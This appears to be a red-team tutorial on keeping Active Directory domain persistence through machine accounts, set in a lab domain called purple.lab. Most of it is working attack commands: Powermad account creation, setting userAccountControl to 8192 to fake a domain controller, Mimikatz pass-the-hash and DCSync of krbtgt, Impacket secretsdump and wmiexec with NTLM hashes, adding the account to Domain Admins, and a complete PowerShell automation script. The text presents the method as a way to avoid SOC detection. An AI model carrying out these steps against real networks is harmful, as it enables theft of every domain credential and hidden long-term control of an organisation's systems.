Machine accounts play a role in red team operations as in a number of techniques are utilized for privilege escalation, lateral movement and domain escalation. However, there are also cases which a machine account could be used for establishing domain persistence. This involves either the addition of an arbitrary machine account to a high privilege group such as the domain admins or the modification of the “userAccountControl” attribute which transforms a computer account to a domain controller. In both scenarios a red team operator could authenticate as the machine account (since the password is known) and perform elevated operations such as DCSync to retrieve all the domain hashes.
Sean Metcalf was the first person who disclosed publicly how machine accounts could be used as a backdoor for domain persistence by adding them to high privilege groups. This method is identical to standard user accounts which are added to domain admins group. In 2020 Stealthbits released an article which demonstrated an alternative method of persistence which involves how active directory replication can be utilized from a computer account. Even though that dumping passwords hashes via the DCSync technique is not new and SOC teams might have proper alerting in place, using a computer account to perform the same technique might be a more stealthier approach.
userAccountControl
By default standard users on a domain are allowed to create up to 10 machine accounts which is specified by the ms-DS-MachineAccountQuota attribute. Creation of computer accounts is trivial and can be conducted by a number of tools both from domain joined and non-domain joined hosts. However, in order for a computer account to appear as a domain controller the userAccountControl attribute needs to have the value of 0x2000 = ( SERVER_TRUST_ACCOUNT ). The 0x2000 is a hex number which in decimal is the number 8192. Modification of this attribute requires domain administrator level privileges. The image below represents how the attribute could be modified from the perspective of Active Directory.
Various tools exist which can create a machine account from the command line or from an implant such as StandIn, SharpMad and PowerMad. From a PowerShell console executing the following command will create a new machine account on the domain.
Import-Module .\Powermad.psm1 New-MachineAccount -MachineAccount Pentestlab -Domain purple.lab -DomainController dc.purple.lab
This new computer will have a primary group id of 515 which is the RID for domain groups and represents that this is a domain computer. Modification of the userAccountControl attribute will change the primary group id of the computer. Therefore if that attribute is modified to have a value of 8192 the primary group id will change to 516 which belongs to domain controllers (writable).
Get-ADComputer Pentestlab -pro * | Select-object name, primarygroupid, useraccountcontrol Set-ADComputer Pentestlab -replace @{ "userAccountcontrol" = 8192 }
Since the password of the computer account is known its NTLM hash could be used with Mimikatz to pass the hash. A new command prompt will open under the context of the machine account.
privilege::debug
sekurlsa::pth /user:Pentestlab /domain:purple.lab /ntlm:58a478135a93ac3bf058a5ea0e8fdb71
The most important bit of having a computer account to act as a domain controller is that the DCSync can be used on that arbitrary account instead of the legitimate domain controller. From detection point of view this can create a security gap which could be leveraged to use a common technique and remain undetected. During hash dumping typically the accounts of interest are domain admins and the krbtgt account which allows the creation of a Golden ticket.
lsadump::dcsync /domain:purple.lab /user:krbtgt
Alternatively using the credentials of the machine account secretsdump from Impacket suite can be utilized to retrieve the password hashes of the domain.
python3 secretsdump.py purple.lab/Pentestlab\$:[email protected] -just-dc
Stealthbits released in their official repository a PowerShell script called ServerUntrustAccount which can be used to automate the technique of domain persistence via modification of the userAccountControl attribute. Execution of the function “Add-ServerUntrustAccount” will add a new computer account on the network with a defined password. Furthermore, the DS-Install-Replica privilege will be given to the account and the userAccountControl attribute will be modified.
Add-ServerUntrustAccount -ComputerName "Pentestlab" -Password "Password123" -Verbose
The “Invoke-ServerUntrustAccount” can be used with the credentials of the account that has been created and the Mimikatz path on the disk in order to dump the hashes of the krbtgt account to validate the domain persistence.
Invoke-ServerUntrustAccount -ComputerName "Pentestlab" -Password "Password123" -MimikatzPath ".\mimikatz.exe"
The hash of the domain administrator account is also valuable if the goal is to re-establish a direct connection with the domain controller. The script could be modified to target that account in order to retrieve the hash.
The hash of the domain administrator account could be used with wmiexec from Impacket suite in order to establish a direct communication channel with the domain controller.
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 [email protected]
Automation of the technique is trivial since two PowerShell cmdlets are actually executed on the background. The following script will create a new active directory computer which some of it’s properties will pre-populated with the values which are specified and then the userAccountControl attribute will modified so the account to appear as a domain controller.
function Execute-userAccountControl { [CmdletBinding()] param ( [System.String]$DomainFQDN = $ENV:USERDNSDOMAIN, [System.String]$ComputerName = 'Pentestlab', [System.String]$OSVersion = '10.0 (18363)', [System.String]$OS = 'Windows 10 Enterprise', [System.String]$DNSName = "$ComputerName.$DomainFQDN", $MachineAccount = 'Pentestlab' ) $secureString = convertto-securestring "Password123" -asplaintext -force $VerbosePreference = "Continue" Write-Verbose -Message "Creating Computer Account: $ComputerName" New-ADComputer $ComputerName -AccountPassword $securestring -Enabled $true -OperatingSystem $OS -OperatingSystemVersion $OS_Version -DNSHostName $DNSName -ErrorAction Stop; Write-Verbose -Message "$ComputerName created!" Write-Verbose -Message "Attempting to establish persistence." Write-Verbose -Message "Changing the userAccountControl attribute of $MachineAccount computer to 8192." Set-ADComputer $MachineAccount -replace @{ "userAccountcontrol" = 8192 }; Write-Verbose -Message "$MachineAccount is now a Domain Controller!" Write-Verbose -Message "Domain persistence established!You can now use the DCSync technique with Pentestlab credentials." $VerbosePreference = "Continue" }
Execution of the script will provide the following output in the console and the computer can be used to perform the DCSync technique.
Import-Module .\userAccountControl.ps1 Execute-userAccountControl
Privilege Group
Machine accounts could be also added to privileged groups for establishing domain persistence. Executing the following command will obtain the active directory groups which domain administrators belong.
Get-ADGroupMember "Administrators"
From an elevated command prompt executing the command below will add the machine account Pentestlab$ to the group of Domain Admins.
net group "Domain Admins" Pentestlab$ /add /domain
Examining the “Member Of” tab of the computer account properties can verify that the account has been added into the Domain Admins group.
Since the account has the required privileges it could be used directly with secretsdump to retrieve active directory password hashes.
python3 secretsdump.py purple.lab/Pentestlab\$:[email protected] -just-dc-user krbtgt